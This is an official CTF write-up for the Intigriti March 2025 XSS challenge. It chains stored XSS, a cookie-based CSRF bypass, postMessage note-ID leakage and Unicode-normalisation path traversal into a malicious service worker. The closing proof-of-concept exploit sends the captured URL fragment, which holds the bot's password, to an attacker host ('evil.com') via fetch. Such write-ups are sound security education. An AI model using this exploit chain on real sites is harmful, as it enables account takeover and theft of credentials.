# 0325: Leaky Flagment

| Name                                                                    | Authors                             | Category                                             |
| ----------------------------------------------------------------------- | ----------------------------------- | ---------------------------------------------------- |
| [Intigriti March Challenge (2025)](https://challenge-0325.intigriti.io) | [0x999](https://twitter.com/_0x999) | CSRF, postMessage, Path Traversal, XSS, Frament Leak |

## Challenge Description

> Find the FLAG and win Intigriti swag! 🏆

## Solution (official writeup from 0x999)

### Introduction 👋

This month I had the opportunity to create [Intigriti's Monthly XSS challenge](https://challenge-0325.intigriti.io) ([code](https://github.com/0x999-x/Intigriti-0325-CTF-challenge)), Conveniently, the idea behind the main part of this challenge came to me while I was solving the previous Intigriti XSS [challenge](https://challenge-0125.intigriti.io) by [0xGodson](https://x.com/0xgodson_).

The goal of this challenge is rather simple, Leverage an XSS vulnerability on the challenge domain in order to leak the flag from the bot user to a remote host.

![Challenge](https://res.cloudinary.com/drhrvcs22/image/upload/v1743583784/gbdwgj.png)

### Initial Discovery 🔍

When navigating to the Challenge URL we can see the following Login page asking us to enter a username and password

![Login Page](https://res.cloudinary.com/drhrvcs22/image/upload/v1743583785/wbhwyd.png)

After entering our credentials and logging in we are greeted with the following dashboard

![Home Page](https://res.cloudinary.com/drhrvcs22/image/upload/v1743583785/pu0n8f.png)

We can see that, thanks to the author’s lack of creativity, we’ve been blessed with yet another revolutionary, groundbreaking invention: a note-taking app.\
Nevertheless we keep digging, We can see that we can create normal notes, password protected notes & download the challenge's source code. Clicking on the button labeled `Bot` sends us to the `/submit-solution` page in which we get a brief description of the challenge, goal & rules:

```
ℹ️ Information & Goal

Your goal is to leak the Bot's flag to a remote host by submitting a URL, below are the sequence of actions the bot will perform after receiving a URL:

 -   Open the latest version of Firefox
 -   Visit the Challenge page URL
 -   Login using the flag as the password
 -   Navigate to the provided URL
 -   Click at the center of the page
 -   Wait 60 seconds then close the browser

📜 Rules & Instructions

 -   Intended solution should work on the latest version of Chromium & Firefox
 -   Please test your POC locally & ensure it works on the latest stable version of Firefox before submitting a URL
 -   You may submit 1 URL every 30 minutes
 -   Have fun and happy hacking! 🎉

```

Additionally, we can see that the application has set a cookie for us called `secret`, The value of which is the base64 encoded value of the `username:password` we entered.

if we take a closer look at the cookie's flags we can see that it's an `HttpOnly` cookie and that the `SameSite` attribute is set to `None`: `Set-Cookie: secret=...; HttpOnly; Secure; Max-Age=3600; SameSite=None; Path=/; Domain=challenge-0225.intigriti.io`\
Meaning the browser will include this cookie in all cross-site requests to the challenge origin.

### Finding the XSS 🐞

After downloading the application's source code we can start looking for a sink. Since this is a React based application one of the first things that should come to mind is searching for [dangerouslySetInnerHTML](https://legacy.reactjs.org/docs/dom-elements.html#dangerouslysetinnerhtml). Doing so leads us to the `nextjs-app/app/note/[id]/page.jsx` file, we can see that the note's content is being rendered using `dangerouslySetInnerHTML`:

```html
<div className="prose max-w-none text-gray-700 whitespace-pre-wrap break-words" dangerouslySetInnerHTML="{{" __html: note.content }} />
```

Trying to post a note with a simple HTMLI payload such as `<h1>x` in the note's content results in the following error:

![Invalid Content Error](https://res.cloudinary.com/drhrvcs22/image/upload/v1743583783/invalid_value_title_or_content_r7ngyh.png)

Searching for the string `Invalid value for title or content` in the application's source code leads us to the following part of the `nextjs-app/pages/api/post.js` file:

```javascript
if (typeof content === "string" && (content.includes("<") || content.includes(">"))) {
    return res.status(400).json({ message: "Invalid value for title or content" });
}
```

This part of the code checks if the note's content is of type `string`, if it is and it includes `<` or `>` a 400 status code response will be served and our note will not be created.

We can bypass this by sending our payload inside an Array. since the note's content won't be of type `string` this check will not affect us:

```http
POST /api/post HTTP/1.1
Host: challenge-0325.intigriti.io
...

{"title":"x","content":["<img src onerror=alert(document.domain)>"],"use_password":"false"}
```

Sending this request will create a new note in our account which we can visit via `/note/:id` and see the alert.

![Alert](https://res.cloudinary.com/drhrvcs22/image/upload/v1743585749/alert_uyrn0d.png)

#### Posting a note via CSRF 🏴‍☠️

After finding a Stored XSS, We can try to visit the note we created using a different account to see if we can deliver our payload to the bot using a note posted from our own account. Doing so results in the following message: `Uh oh, Note not found... 😢`.

Since the notes in this application can only be viewed by the user who created them, We will need to find another way to deliver this payload to the bot. Taking a closer look at the `nextjs-app/pages/api/post.js` file we can see the following code:

```javascript
const content_type = req.headers['content-type'];
...
if (content_type && !content_type.startsWith('application/json')) {
    return res.status(400).json({ message: 'Invalid content type' });
}
...
const body = typeof req.body === 'string' ? JSON.parse(req.body) : req.body;
const { title, content, use_password } = body;
```

This part of the code will check if the content-type header exists, if it does and it's value doesn't start with `application/json` the server will respond with a `400` status code and an `Invalid content type` message.

This part of the challenge was inspired by [this blogpost](https://nastystereo.com/security/cross-site-post-without-content-type.html) by [@lukejahnke](https://x.com/lukejahnke).\
Since we know that the application sets the `secret` cookie's `SameSite` attribute to `None`, We can use it to post a note on the Bot's account via a cross-site request to the `/api/post` path.

As mentioned in [@lukejahnke](https://x.com/lukejahnke)'s blog post, we can wrap our request body inside a `Blob` object to send a cross-site request without a `Content-type` header, this allows us to bypass the CSRF "protection" set by the application and post a note on a logged-in user's account from an attacker controlled origin.

> ℹ️ Note: it can also be bypassed using [Typed Arrays](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array) as shown [here](https://x.com/_0x999/status/1863680719165247822)

While it is rather uncharacteristic for a Nextjs application to be conditionally parsing the request body as JSON, This bypass is surprisingly common in the wild so I thought it would be a nice little addition to the challenge :p

#### Leaking Note ID via postMessage 📩

When a new note is created the application uses `uuidv4` to generate the note ID, meaning we can't predict it. We have to find another way to leak the Note ID. One thing we haven't explored yet is the password protected notes functionality, When creating a new note we can see that there's a toggle button on the page allowing us to use a password:

![Password Button](https://res.cloudinary.com/drhrvcs22/image/upload/v1743583784/rbwcin.png)

After creating the note we are presented with the note's password which was generated on the server side:

![Note Password](https://res.cloudinary.com/drhrvcs22/image/upload/v1743583784/ig1vpx.png)

Clicking on the newly created protected note opens a new popup window to `/protected-note` and we are being told to enter the password in the parent window:

![Protected Note](https://res.cloudinary.com/drhrvcs22/image/upload/v1743583784/protected-note_igpkbs.png)

When the correct password is entered the popup window is redirected to `/view_protected_note?id=:note_id`.

If we take a look at the `nextjs-app/app/protected-note/page.jsx` file we can see the following code:

```javascript
useEffect(() => {
    if (window.opener) {
        window.opener.postMessage({ type: "childLoaded" }, "*");
    }
    setisMounted(true);
    const handleMessage = (event) => {
        if (event.data.type === "submitPassword") {
            validatepassword(event.data.password);
        }
    };

    window.addEventListener("message", handleMessage);
    return () => window.removeEventListener("message", handleMessage);
}, []);

const validatepassword = (submittedpassword) => {
    const notes = JSON.parse(localStorage.getItem("notes") || "[]");
    const foundNote = notes.find((note) => note.password === submittedpassword);

    if (foundNote) {
        window.opener.postMessage({ type: "success", noteId: foundNote.id }, "*");
        setIsSuccess(true);
    } else {
        window.opener.postMessage({ type: "error" }, "*");
        setIsSuccess(false);
    }
};
```

When the `/protected-note` path loads, The page starts listening for message events which are expected to include an object with a key called `type` and it's value set to `submitPassword` as well as a key called `password` holding the submitted value. The code then parses notes from the user's localStorage and compares the submitted password using `note.password === submittedpassword`. If a matching note is found, the `noteId` is sent to `window.opener` via postMessage. Thus, by submitting an empty string as the password to the child window via postMessage: `{ type: "submitPassword", password: "" }` we can leak the note ID of a normal note(not password-protected) cross-site.

### Leaking the Fragment Directive 👻

Now that we have an XSS and a way to deliver our payload to the bot we can focus on the main part of the challenge, which as suggested by the challenge's name is to leverage the XSS in order to leak the fragment directive part of the URL, more commonly known as [Text fragments](https://developer.mozilla.org/en-US/docs/Web/URI/Reference/Fragment/Text_fragments) or Scroll to text fragment.

`example.com/#:~:fragment_directive&text=value`

When navigating to a non-password protected note via `/note/:id`, We can see that we get redirected to `/note/:id#:~:username:password` which is perfect for us since the Bot's password is the flag.

If we try to access the fragment directive part of the url using any of the following: `location.href`, `location.hash`, `document.URL`, `document.baseURI` etc.. We can see that the browser is stripping the fragment directive part of the URL.

After some googling we may end up in the scroll to text fragment [specification](https://wicg.github.io/scroll-to-text-fragment/) in which we can see the following:

> The fragment directive is removed from the URL before the URL is set to the session history entry. It is instead stored in the directive state. This prevents it from being visible to script APIs so that a directive can be specified without interfering with a page’s operation.

We can also see [when](https://wicg.github.io/scroll-to-text-fragment/#extracting-the-fragment-directive) it's being removed by the browser:

> Any time a URL potentially including a fragment directive is written to a session history entry, extract the fragment directive from the URL and store it in a directive state item of the entry. There are four such points where a URL can potentially include a directive:
>
> * In the "navigate" steps for typical cross-document navigations
> * In the "navigate to a fragment" steps for fragment based same-document navigations
> * In the "URL and history update steps" for synchronous updates such as pushState/replaceState.
> * In the "create navigation params by fetching" steps for URLs coming from a redirect.

If we continue looking through the results we may end up in the scroll to text fragment proposal [Github Issues](https://github.com/WICG/scroll-to-text-fragment/issues) page, in there we can see [this](https://github.com/WICG/scroll-to-text-fragment/issues/223) open issue which leads us to [this](https://issues.chromium.org/issues/40136467) bug in chromium which states that in Chromium it is possible to leak the fragment directive part of the URL using the Performance API(`performance.getEntries()[0].name`).

But if we keep digging we may also notice that the [same bug](https://bugzilla.mozilla.org/show_bug.cgi?id=1919565) was reported to Firefox \~6 months ago and is already fixed, So that doesn't help us since the Bot is running the latest version of Firefox.

The intended solution is to use the [Service Worker](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API) API:

> Service workers essentially act as proxy servers that sit between web applications, the browser, and the network (when available). They are intended, among other things, to enable the creation of effective offline experiences, intercept network requests, and take appropriate action based on whether the network is available

Since we know that the Fragment directive is stripped from the URL when the document loads and we also know that a Service Worker sits between the initial request and the served response, We can use this to intercept the Fragment directive part of the URL before it's been stripped by the browser when the document loads. As illustrated in the following diagram:

![Service Worker Diagram](https://res.cloudinary.com/drhrvcs22/image/upload/v1743583784/duo4hk.png)

In order to register a Service Worker that can steal the flag we need two things:

1. A file hosted on the target origin with a [JavaScript MIME type](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerContainer/register#scripturl) which we can control.
2. The Javascript file must have the right [scope](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerContainer/register#scope), Meaning we need it to be hosted either in `/note/file.js` or `/file.js`, Otherwise it won't be able to intercept the request to `/note/:id` containing the flag.

#### Finding a User-Controlled JavaScript File 📁

When navigating to any note in the application and inspecting the browser's network tab/console we can see a request being sent to `/api/track` and it's response is being `eval`'d which results in a `ReferenceError: $ is not defined` error.

Looking at the `nextjs-app/pages/api/track.js` file, We can see the following code:

```javascript
    res.setHeader('Content-Type', 'text/javascript')
    switch (method) {
        case 'GET':
            try {
                const userIp = req.headers['x-user-ip'] || '0.0.0.0'
                const jsContent = `
$(document).ready(function() {
    const userDetails = {
        ip: "${userIp}",
        type: "client",
        timestamp: new Date().toISOString(),
        ipDetails: {}
    };
    window.ipAnalytics = {
        track: function() {
            return {
                ip: userDetails.ip,
                timestamp: new Date().toISOString(),
                type: userDetails.type,
                ipDetails: userDetails.ipDetails
            };
        }
    };
});`
                if (userIp !== '0.0.0.0') {
                    return res.status(200).send(jsContent)
                } else {
                    return res.status(200).send('');
                }
```

The `/api/track` endpoint is responding with a JavaScript MIME Type and it's expecting an `x-user-ip` header, If one exists it will respond with the header's value reflected inside what appears to be a jQuery file.

This seems promising but we can't use it yet for three reasons:

1. This endpoint requires the `x-user-ip` header for it to respond with the user-controlled JavaScript file, since `navigator.serviceWorker.register()` won't include this header, an empty file will be served.
2. The `/api/track` path doesn't have the right [scope](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerContainer/register) for it to be able to intercept requests to `/note/:id`.
3. Service Workers cannot be registered if they have any unhandled errors.

We can get around 3. by taking advantage of [JavaScript Declaration Hoisting](https://www.w3schools.com/js/js_hoisting.asp) and declare any undefined variables/functions after they've been called to ensure no errors occur when the service worker is registered.

First we define a function called `$` and make it return a function called `ready()` and finally we hoist the `document` variable since it's not defined in the Service Worker realm.

> ℹ️ Note: If you wish to get a better understanding of what a Javascript realm is I highly recommend checking out [this](https://weizmangal.com/2022/10/28/what-is-a-realm-in-js/) blog post by [@weizmangal](https://x.com/weizmangal).

#### Poisoning Memory Cache via Path Traversal on NextJS Rewrites 🧪

When inspecting the network requests of the application we can see that Javascript files are being served from memory cache:

![Network Logs](https://res.cloudinary.com/drhrvcs22/image/upload/v1743583784/hcjgfx.png)

Looking at the `nextjs-app/next.config.mjs` file we can see the following [headers()](https://nextjs.org/docs/pages/api-reference/config/next-config-js/headers) rule is set:

```javascript
      {
        source: '/:path*.js',
        headers: [
          {
            key: 'Cache-Control',
            value: 'public, max-age=120, immutable',
          },
        ],
      }
```

This rule applies a caching header to any path that has an appended `.js` extension. In other words, any file served by the application with a `.js` extension will be cached for 120 seconds by the browser.

To take advantage of this we can use the [updateViaCache](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerContainer/register#updateviacache) option of the [serviceWorker.register](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerContainer/register) function:

> * ['all'](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerContainer/register#all)\
>   The HTTP cache will be queried for the main script, and all imported scripts. If no fresh entry is found in the HTTP cache, then the scripts are fetched from the network.

One thing that was mentioned earlier but ignored is the `/view_protected_note?id=:id` path, Searching that path in the application's source code leads us to the following code in the `/nextjs-app/middleware.js` file:

```javascript
const path = request.nextUrl.pathname;
if (path.startsWith("/view_protected_note")) {
    const query = request.nextUrl.searchParams;
    const note_id = query.get("id");
    const uuid_regex = /^[^\-]{8}-[^\-]{4}-[^\-]{4}-[^\-]{4}-[^\-]{12}$/;
    const isMatch = uuid_regex.test(note_id);
    if (note_id && isMatch) {
        const current_url = request.nextUrl.clone();
        current_url.pathname = "/note/" + note_id.normalize("NFKC");
        return NextResponse.rewrite(current_url);
    } else {
        return new NextResponse("Uh oh, Missing or Invalid Note ID :c", {
            status: 403,
            headers: { "Content-Type": "text/plain" },
        });
    }
}
```

We can see that this part of the [middleware](https://nextjs.org/docs/app/building-your-application/routing/middleware) file is checking if the requested path starts with `/view_protected_note`, If it does it takes the `id` query parameter's value and tests it against a rather relaxed UUID regex.

Pasting that regex into [debuggex](https://www.debuggex.com/r/LhmJfkSv6C3e-uBe) shows us that all it does is check for x amount of characters that aren't `-` followed by a `-` character separating each segment, the amount of characters in each segment needs to match that of a valid UUID which is 8-4-4-4-12.

If the value of the `id` parameter matches the regex, The code clones the requested URL and overwrites it's path with `/note/` appended by our user controlled input which is being normalized using Unicode Normalization Form KC [(NFKC)](https://unicode.org/reports/tr15/)

Finally the response gets rewritten by `NextResponse.rewrite()`, If we read into what the [rewrite()](https://nextjs.org/docs/app/api-reference/functions/next-response#rewrite) function does:

> Produce a response that rewrites (proxies) the given [URL](https://developer.mozilla.org/docs/Web/API/URL) while preserving the original

So by putting these 2 pieces together we might be able to use path traversal in order to reach the `/api/track` endpoint and poison a Javascript file that is technically on the root path of the website(`/`) allowing us to register a Service Worker which has the correct [scope](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerContainer/register#scope) so that it's able to intercept the request to `/note/:id` containing the flag.

There's one issue, `/../api/track` is 13 characters long but the regex is strict and only allows for 12 characters in the last segment of the UUID,\
Therefore requesting `"/note/" + "../00000-0000-0000-0000-/../api/track"` will result in a 403 status code and an `Uh oh, Missing or Invalid Note ID :c` message, Luckily for us, our input is getting normalized using the NFKC method, Meaning there might be some character that we can use which has a decomposition of 2 or more characters who's value matches part of the `/../api/track` segment.

To test this, we can fuzz every Unicode code point using Javascript's normalize function to see if there's a single character which has a decomposition of 2 characters that match any 2 character sequence in `/../api/track`, For convenience sake we can use [Shazzer](https://shazzer.co.uk), for example.

Using a JS vector such as: `if('$[chr]'.normalize('NFKC')=== '..'){log('$[chr]')}` gives us two results: `‥`(Unicode Code Point: 2025 ;p) and `︰`.

Meaning both of these characters will get normalized to two normal dots(`..`) by the application allowing us to traverse back to the `/api/track` path while abiding by the regex's maximum 12 characters in the last segment of the UUID rule.

### Stealing The Flag ⛳

Putting it all together we can construct our final exploit that will steal the Bot's flag.

1. We take advantage of the bot's click to open a new window to the challenge domain to enable cross site cookies from the attacker's origin
2. We post the malicious note containing our XSS payload on the bot's account via CSRF, First our payload will register an empty JavaScript file as a Service Worker via the `/view_protected_note` path with the `updateViaCache` option set to `all`, Then we poison the `/view_protected_note.js` path via a `fetch` request with our Service Worker script inside the `x-user-ip` header which hoists the undefined functions/variables, starts listening for `fetch` events in order to intercept all network requests to the `/note/:id` path and check if `url.hash` contains `:~:`, If it does we send it to our attacker controlled host. After the service worker has been registered the bot will get redirected to `/note/x` so that the Service Worker's `fetch` event is triggered.
3. We refresh the window opened in Step 1 to reload the Bot's localStorage so that it includes our newly created note
4. We start listening for `message` events on the attacker's origin to retrieve our newly created `noteId` and redirect the bot to our note
5. We submit an empty password to the opened window via postMessage which will trigger the message event and initiate the chain
6. We retrieve the flag from our attacker controlled host logs: `INTIGRITI{s3rv1ce_w0rk3rs_4re_p0w3rful}`

Our final exploit would look something like this:

```html
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <title>POC</title>
    </head>
    <body>
        <svg viewBox="0 0 100 100" onclick="poc()" />
        <script>
            function poc() {
                let newWindow;
                const target = "challenge-0325.intigriti.io";
                const attacker_host = "evil.com";
                const payload = `<img src onerror=\\"top.navigator.serviceWorker.register('/view_protected_note?id=../00000-0000-0000-0000-/‥/api/track', {updateViaCache:'all'});fetch('/view_protected_note.js?id=../00000-0000-0000-0000-/‥/api/track', {headers:{'x-user-ip':'\\\\u0022}});function $(){self.addEventListener(\\\\'fetch\\\\', (e) => { const url = new URL(e.request.url);(async () => { if(url.hash.includes(\\\\':~:\\\\')){fetch(\\\\'https://${attacker_host}/\\\\'+url.hash.substr(1, 64))} })(); });return {ready:function(){}}};var document;(function(){let x = {x:\\\\u0022'}});setTimeout(()=>{top.navigator.serviceWorker.register('/view_protected_note.js?id=../00000-0000-0000-0000-/‥/api/track', {updateViaCache:'all'});}, 4000);setTimeout(()=>{location.href='/note/x'},6000)\\">`;
                const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
                const stealFlag = async (target, payload) => {
                    newWindow = window.open(`https://${target}/protected-note`); // open new window to enable cross-site cookies
                    console.log("Window opened");
                    await delay(2000);
                    await fetch(`https://${target}/api/post`, {
                        mode: "no-cors",
                        credentials: "include",
                        method: "POST",
                        body: new TextEncoder().encode(`{"title":"poc","content":["${payload}"],           "use_password":"false"}`),
                    }); // post the malicious note containing our payload
                    console.log("Note posted");
                    newWindow.location.href = `https://${target}/protected-note`; // reload the page to refresh localStorage
                    console.log("Window redirected");
                    await delay(6000);
                    newWindow.postMessage(
                        {
                            type: "submitPassword",
                            password: "",
                        },
                        "*"
                    ); // submit an empty password to leak the note id
                    console.log("Password submitted");
                };
                // Listen for messages from the new window
                window.addEventListener("message", (e) => {
                    console.log("Message received from target window:", e.data);
                    if (e.data.noteId) {
                        newWindow.location.href = `https://${target}/note/${e.data.noteId}`; // redirect the victim to trigger the xss and steal the flag
                        alert("Note found, redirected");
                    }
                });
                // Execute the sequence of operations
                stealFlag(target, payload);
            }
        </script>
    </body>
</html>
```

### Unintended Solutions 🔥

The challenge was solved in time by 12 talented individuals, some of whom even manged to discover multiple unintended solutions!

It's truly amazing to see the diverse and creative approaches different researchers take when tackling a problem.

Within the first few hours of the challenge being live [@J0R1AN](https://x.com/J0R1AN) managed to claim first 🩸 with a very cool unintended solution which allowed him to leak the fragment directive part of the URL on firefox without the use of a service worker, I highly recommend checking out his [writeup](https://jorianwoltjer.com/blog/p/hacking/intigriti-xss-challenge/0325) to find out how!

There were a couple other very cool unintended solutions in different parts of the challenge, I highly recommend checking out [some](https://gist.github.com/Panya/990b45fbeae2051b355222981a1ce718) [of](https://adragos.ro/intigriti-march-2025/) [the](https://mariosk1574.com/posts/intigriti-0325-by-0x999/) [community](https://blog.disna.nl/posts/intigriti-0325/) writeups!

## Community Writeups

1. [panya](https://gist.github.com/Panya/990b45fbeae2051b355222981a1ce718)
2. [uncavohdmi](https://cavohdmi.notion.site/INTIGRITI-March-Challenge-1c81df40a17f80fdb76eed0cc8b012cb)
3. [disna](https://blog.disna.nl/posts/intigriti-0325)
4. [j0r1an](https://jorianwoltjer.com/blog/p/hacking/intigriti-xss-challenge/0325)
5. [antonio](https://medium.com/@antonio341375/intigriti-challenge-0525-writeup-6f6b647fdbe3)
6. [arinc0](https://blog.inugasky.net/docs/web/intigriti-0325)
7. [salvatore\_abello](http://salvatore-abello.github.io/posts/intigriti-challenge-0325)
8. [mariosk](https://mariosk1574.com/posts/intigriti-0325-by-0x999)
9. [cybersecu](https://gist.github.com/Siss3l/007d12c561fce1932f2202d43e3792b4#solution)
10. [adragos](https://adragos.ro/intigriti-march-2025)
11. [silverpoision](https://silverpoision.github.io/posts/intigriti-challenge-solution0325)
